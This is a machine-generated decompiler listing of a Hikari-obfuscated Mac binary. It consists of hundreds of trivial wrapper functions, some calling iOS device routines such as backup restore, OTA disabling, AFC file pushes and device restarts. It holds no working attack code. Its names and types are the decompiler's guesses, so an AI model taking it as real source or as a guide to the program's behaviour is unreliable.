void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17383(void *a1, const char *a2)
{
HikariFunctionWrapper_17382(a1, a2);
}
//----- (000000010021E230) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17384(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (000000010021E240) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17385(void *a1, const char *a2)
{
HikariFunctionWrapper_17384(a1, a2);
}
//----- (000000010021E250) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17386(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (000000010021E260) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17387(void *a1, const char *a2)
{
HikariFunctionWrapper_17386(a1, a2);
}
//----- (000000010021E270) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17388(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (000000010021E280) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17389(void *a1, const char *a2)
{
HikariFunctionWrapper_17388(a1, a2);
}
//----- (000000010021E290) ----------------------------------------------------
__int64 HikariFunctionWrapper_17390()
{
return BackupRestore();
}
//----- (000000010021E2A0) ----------------------------------------------------
__int64 HikariFunctionWrapper_17391()
{
return HikariFunctionWrapper_17390();
}
//----- (000000010021E2B0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17392(void *a1)
{
showOkMessage(a1);
}
//----- (000000010021E2C0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17393(void *a1)
{
HikariFunctionWrapper_17392(a1);
}
//----- (000000010021E2D0) ----------------------------------------------------
void __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17394()
{
OTA_DISABLED();
}
//----- (000000010021E2E0) ----------------------------------------------------
void __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17395()
{
HikariFunctionWrapper_17394();
}
//----- (000000010021E2F0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17396(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (000000010021E300) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17397(void *a1, const char *a2)
{
return HikariFunctionWrapper_17396(a1, a2);
}
//----- (000000010021E310) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17398(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (000000010021E320) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17399(void *a1, const char *a2)
{
return HikariFunctionWrapper_17398(a1, a2);
}
//----- (000000010021E330) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17400(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (000000010021E340) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17401(void *a1, const char *a2)
{
return HikariFunctionWrapper_17400(a1, a2);
}
//----- (000000010021E350) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17402(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (000000010021E360) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17403(void *a1, const char *a2)
{
return HikariFunctionWrapper_17402(a1, a2);
}
//----- (000000010021E370) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17404(NSString *a1)
{
NSLog(a1);
}
//----- (000000010021E380) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17405(NSString *a1)
{
HikariFunctionWrapper_17404(a1);
}
//----- (000000010021E390) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17406(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (000000010021E3A0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17407(void *a1, const char *a2)
{
return HikariFunctionWrapper_17406(a1, a2);
}
//----- (000000010021E3B0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17408(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (000000010021E3C0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17409(void *a1, const char *a2)
{
return HikariFunctionWrapper_17408(a1, a2);
}
//----- (000000010021E3D0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17410(objc_class *a1)
{
return objc_alloc(a1);
}
//----- (000000010021E3E0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17411(objc_class *a1)
{
return HikariFunctionWrapper_17410(a1);
}
//----- (000000010021E3F0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17412(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (000000010021E400) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17413(void *a1, const char *a2)
{
return HikariFunctionWrapper_17412(a1, a2);
}
//----- (000000010021E410) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17414(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (000000010021E440) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17415(void *a1, const char *a2)
{
return HikariFunctionWrapper_17414(a1, a2);
}
//----- (000000010021E470) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17416(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (000000010021E480) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17417(void *a1, const char *a2)
{
return HikariFunctionWrapper_17416(a1, a2);
}
//----- (000000010021E490) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17418(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (000000010021E4A0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17419(void *a1, const char *a2)
{
return HikariFunctionWrapper_17418(a1, a2);
}
//----- (000000010021E4B0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17420(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (000000010021E4E0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17421(void *a1, const char *a2)
{
return HikariFunctionWrapper_17420(a1, a2);
}
//----- (000000010021E510) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17422(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (000000010021E520) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17423(void *a1, const char *a2)
{
return HikariFunctionWrapper_17422(a1, a2);
}
//----- (000000010021E530) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17424(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (000000010021E540) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17425(void *a1, const char *a2)
{
return HikariFunctionWrapper_17424(a1, a2);
}
//----- (000000010021E550) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17426(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (000000010021E560) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17427(void *a1, const char *a2)
{
return HikariFunctionWrapper_17426(a1, a2);
}
//----- (000000010021E570) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17428(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (000000010021E580) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17429(void *a1, const char *a2)
{
return HikariFunctionWrapper_17428(a1, a2);
}
//----- (000000010021E590) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17430(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (000000010021E5A0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17431(void *a1, const char *a2)
{
return HikariFunctionWrapper_17430(a1, a2);
}
//----- (000000010021E5B0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17432(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (000000010021E5C0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17433(void *a1, const char *a2)
{
return HikariFunctionWrapper_17432(a1, a2);
}
//----- (000000010021E5D0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17434(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (000000010021E5E0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17435(void *a1, const char *a2)
{
return HikariFunctionWrapper_17434(a1, a2);
}
//----- (000000010021E5F0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17436(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (000000010021E600) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17437(void *a1, const char *a2)
{
return HikariFunctionWrapper_17436(a1, a2);
}
//----- (000000010021E610) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17438(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (000000010021E620) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17439(void *a1, const char *a2)
{
return HikariFunctionWrapper_17438(a1, a2);
}
//----- (000000010021E630) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17440(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (000000010021E640) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17441(void *a1, const char *a2)
{
return HikariFunctionWrapper_17440(a1, a2);
}
//----- (000000010021E650) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17442(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (000000010021E660) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17443(void *a1, const char *a2)
{
return HikariFunctionWrapper_17442(a1, a2);
}
//----- (000000010021E670) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17444(objc_class *a1)
{
return objc_alloc(a1);
}
//----- (000000010021E680) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17445(objc_class *a1)
{
return HikariFunctionWrapper_17444(a1);
}
//----- (000000010021E690) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17446(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (000000010021E6A0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17447(void *a1, const char *a2)
{
return HikariFunctionWrapper_17446(a1, a2);
}
//----- (000000010021E6B0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17448(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (000000010021E6C0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17449(void *a1, const char *a2)
{
HikariFunctionWrapper_17448(a1, a2);
}
//----- (000000010021E6D0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17450(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (000000010021E6E0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17451(void *a1, const char *a2)
{
HikariFunctionWrapper_17450(a1, a2);
}
//----- (000000010021E6F0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17452(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (000000010021E700) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17453(void *a1, const char *a2)
{
return HikariFunctionWrapper_17452(a1, a2);
}
//----- (000000010021E710) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17454(void *a1)
{
showErrMessage(a1);
}
//----- (000000010021E720) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17455(void *a1)
{
HikariFunctionWrapper_17454(a1);
}
//----- (000000010021E730) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17456(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (000000010021E740) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17457(void *a1, const char *a2)
{
return HikariFunctionWrapper_17456(a1, a2);
}
//----- (000000010021E750) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17458(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (000000010021E760) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17459(void *a1, const char *a2)
{
return HikariFunctionWrapper_17458(a1, a2);
}
//----- (000000010021E770) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17460(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (000000010021E780) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17461(void *a1, const char *a2)
{
return HikariFunctionWrapper_17460(a1, a2);
}
//----- (000000010021E790) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17462(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (000000010021E7A0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17463(void *a1, const char *a2)
{
return HikariFunctionWrapper_17462(a1, a2);
}
//----- (000000010021E7B0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17464(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (000000010021E7C0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17465(void *a1, const char *a2)
{
return HikariFunctionWrapper_17464(a1, a2);
}
//----- (000000010021E7D0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17466(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (000000010021E7E0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17467(void *a1, const char *a2)
{
HikariFunctionWrapper_17466(a1, a2);
}
//----- (000000010021E7F0) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_17468(__int64 a1)
{
return AMDeviceDisconnect(a1);
}
// 10025616E: using guessed type __int64 __fastcall AMDeviceDisconnect(_QWORD);
//----- (000000010021E800) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_17469(__int64 a1)
{
return HikariFunctionWrapper_17468(a1);
}
//----- (000000010021E810) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17470(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (000000010021E820) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17471(void *a1, const char *a2)
{
HikariFunctionWrapper_17470(a1, a2);
}
//----- (000000010021E830) ----------------------------------------------------
void __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17472()
{
Close3uTools();
}
//----- (000000010021E840) ----------------------------------------------------
void __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17473()
{
HikariFunctionWrapper_17472();
}
//----- (000000010021E850) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17474(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (000000010021E860) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17475(void *a1, const char *a2)
{
return HikariFunctionWrapper_17474(a1, a2);
}
//----- (000000010021E870) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17476(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (000000010021E880) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17477(void *a1, const char *a2)
{
return HikariFunctionWrapper_17476(a1, a2);
}
//----- (000000010021E890) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17478(void *a1)
{
showErrMessage(a1);
}
//----- (000000010021E8A0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17479(void *a1)
{
HikariFunctionWrapper_17478(a1);
}
//----- (000000010021E8B0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17480(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (000000010021E8C0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17481(void *a1, const char *a2)
{
return HikariFunctionWrapper_17480(a1, a2);
}
//----- (000000010021E8D0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17482(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (000000010021E8E0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17483(void *a1, const char *a2)
{
return HikariFunctionWrapper_17482(a1, a2);
}
//----- (000000010021E8F0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17484(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (000000010021E900) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17485(void *a1, const char *a2)
{
return HikariFunctionWrapper_17484(a1, a2);
}
//----- (000000010021E910) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17486(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (000000010021E920) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17487(void *a1, const char *a2)
{
return HikariFunctionWrapper_17486(a1, a2);
}
//----- (000000010021E930) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17488(void *a1)
{
showErrMessage(a1);
}
//----- (000000010021E940) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17489(void *a1)
{
HikariFunctionWrapper_17488(a1);
}
//----- (000000010021E950) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17490(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (000000010021E960) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17491(void *a1, const char *a2)
{
HikariFunctionWrapper_17490(a1, a2);
}
//----- (000000010021E970) ----------------------------------------------------
bool __fastcall HikariFunctionWrapper_17492(__int64 a1, __int64 a2, __int64 a3, __int64 a4)
{
return AFCPushMemory(a1, a2, a3, a4);
}
//----- (000000010021E980) ----------------------------------------------------
bool __fastcall HikariFunctionWrapper_17493(__int64 a1, __int64 a2, __int64 a3, __int64 a4)
{
return HikariFunctionWrapper_17492(a1, a2, a3, a4);
}
//----- (000000010021E990) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17494(void *a1, __int64 a2)
{
UploadBase64FilesFromXML(a1, a2);
}
//----- (000000010021E9A0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17495(void *a1, __int64 a2)
{
HikariFunctionWrapper_17494(a1, a2);
}
//----- (000000010021E9B0) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_17496(__int64 a1)
{
return AFCConnectionClose(a1);
}
// 1002560F0: using guessed type __int64 __fastcall AFCConnectionClose(_QWORD);
//----- (000000010021E9C0) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_17497(__int64 a1)
{
return HikariFunctionWrapper_17496(a1);
}
//----- (000000010021E9D0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17498(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (000000010021E9E0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17499(void *a1, const char *a2)
{
HikariFunctionWrapper_17498(a1, a2);
}
//----- (000000010021E9F0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17500(NSString *a1)
{
NSLog(a1);
}
//----- (000000010021EA00) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17501(NSString *a1)
{
HikariFunctionWrapper_17500(a1);
}
//----- (000000010021EA10) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17502(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (000000010021EA20) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17503(void *a1, const char *a2)
{
return HikariFunctionWrapper_17502(a1, a2);
}
//----- (000000010021EA30) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17504(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (000000010021EA40) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17505(void *a1, const char *a2)
{
HikariFunctionWrapper_17504(a1, a2);
}
//----- (000000010021EA50) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_17506(__int64 a1)
{
return AMDeviceCreateCopy(a1);
}
// 100256162: using guessed type __int64 __fastcall AMDeviceCreateCopy(_QWORD);
//----- (000000010021EA60) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_17507(__int64 a1)
{
return HikariFunctionWrapper_17506(a1);
}
//----- (000000010021EA70) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_17508(__int64 a1)
{
return AMDeviceIsPaired(a1);
}
// 100256174: using guessed type __int64 __fastcall AMDeviceIsPaired(_QWORD);
//----- (000000010021EA80) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_17509(__int64 a1)
{
return HikariFunctionWrapper_17508(a1);
}
//----- (000000010021EA90) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17510(NSString *a1)
{
NSLog(a1);
}
//----- (000000010021EAA0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17511(NSString *a1)
{
HikariFunctionWrapper_17510(a1);
}
//----- (000000010021EAB0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17512(__int64 a1)
{
SendEnableWifiConnections(a1);
}
//----- (000000010021EAC0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17513(__int64 a1)
{
HikariFunctionWrapper_17512(a1);
}
//----- (000000010021EAD0) ----------------------------------------------------
char __fastcall HikariFunctionWrapper_17514(__int64 a1, const char *a2, int a3)
{
return AFCAwaitNonEmptyFile(a1, a2, a3);
}
//----- (000000010021EAE0) ----------------------------------------------------
char __fastcall HikariFunctionWrapper_17515(__int64 a1, const char *a2, int a3)
{
return HikariFunctionWrapper_17514(a1, a2, a3);
}
//----- (000000010021EAF0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17516(NSString *a1)
{
NSLog(a1);
}
//----- (000000010021EB00) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17517(NSString *a1)
{
HikariFunctionWrapper_17516(a1);
}
//----- (000000010021EB10) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17518(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (000000010021EB20) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17519(void *a1, const char *a2)
{
return HikariFunctionWrapper_17518(a1, a2);
}
//----- (000000010021EB30) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17520(__int64 a1)
{
RestartDevice(a1);
}
//----- (000000010021EB40) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17521(__int64 a1)
{
HikariFunctionWrapper_17520(a1);
}
//----- (000000010021EB50) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17522(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (000000010021EB60) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17523(void *a1, const char *a2)
{
HikariFunctionWrapper_17522(a1, a2);
}
//----- (000000010021EB70) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17524(NSString *a1)
{
NSLog(a1);
}
//----- (000000010021EB80) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17525(NSString *a1)
{
HikariFunctionWrapper_17524(a1);
}
//----- (000000010021EB90) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17526(__int64 a1)
{
RestartDevice(a1);
}
//----- (000000010021EBA0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17527(__int64 a1)
{
HikariFunctionWrapper_17526(a1);
}
//----- (000000010021EBB0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17528(void *a1)
{
showErrMessage(a1);
}
//----- (000000010021EBC0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17529(void *a1)
{
HikariFunctionWrapper_17528(a1);
}
//----- (000000010021EBD0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17530(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (000000010021EBE0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17531(void *a1, const char *a2)
{
return HikariFunctionWrapper_17530(a1, a2);
}
//----- (000000010021EBF0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17532(NSString *a1)
{
NSLog(a1);
}
//----- (000000010021EC00) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17533(NSString *a1)
{
HikariFunctionWrapper_17532(a1);
}
//----- (000000010021EC10) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17534(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (000000010021EC20) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17535(void *a1, const char *a2)
{
HikariFunctionWrapper_17534(a1, a2);
}
//----- (000000010021EC30) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_17536(__int64 a1)
{
return AMDeviceCreateCopy(a1);
}
// 100256162: using guessed type __int64 __fastcall AMDeviceCreateCopy(_QWORD);
//----- (000000010021EC40) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_17537(__int64 a1)
{
return HikariFunctionWrapper_17536(a1);
}
//----- (000000010021EC50) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_17538(__int64 a1)
{
return OpenAFCConnection(a1);
}
//----- (000000010021EC60) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_17539(__int64 a1)
{
return HikariFunctionWrapper_17538(a1);
}
//----- (000000010021EC70) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_17540(__int64 a1)
{
return isError(a1);
}
// 10001587D: using guessed type __int64 __fastcall isError(_QWORD);
//----- (000000010021EC80) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_17541(__int64 a1)
{
return HikariFunctionWrapper_17540(a1);
}
//----- (000000010021EC90) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17542(void *a1)
{
showErrMessage(a1);
}
//----- (000000010021ECA0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17543(void *a1)
{
HikariFunctionWrapper_17542(a1);
}
//----- (000000010021ECB0) ----------------------------------------------------
char __fastcall HikariFunctionWrapper_17544(__int64 a1, const char *a2, int a3)
{
return AFCAwaitNonEmptyFile(a1, a2, a3);
}
//----- (000000010021ECC0) ----------------------------------------------------
char __fastcall HikariFunctionWrapper_17545(__int64 a1, const char *a2, int a3)
{
return HikariFunctionWrapper_17544(a1, a2, a3);
}
//----- (000000010021ECD0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17546(__int64 a1)
{
AFCClearFolders(a1);
}
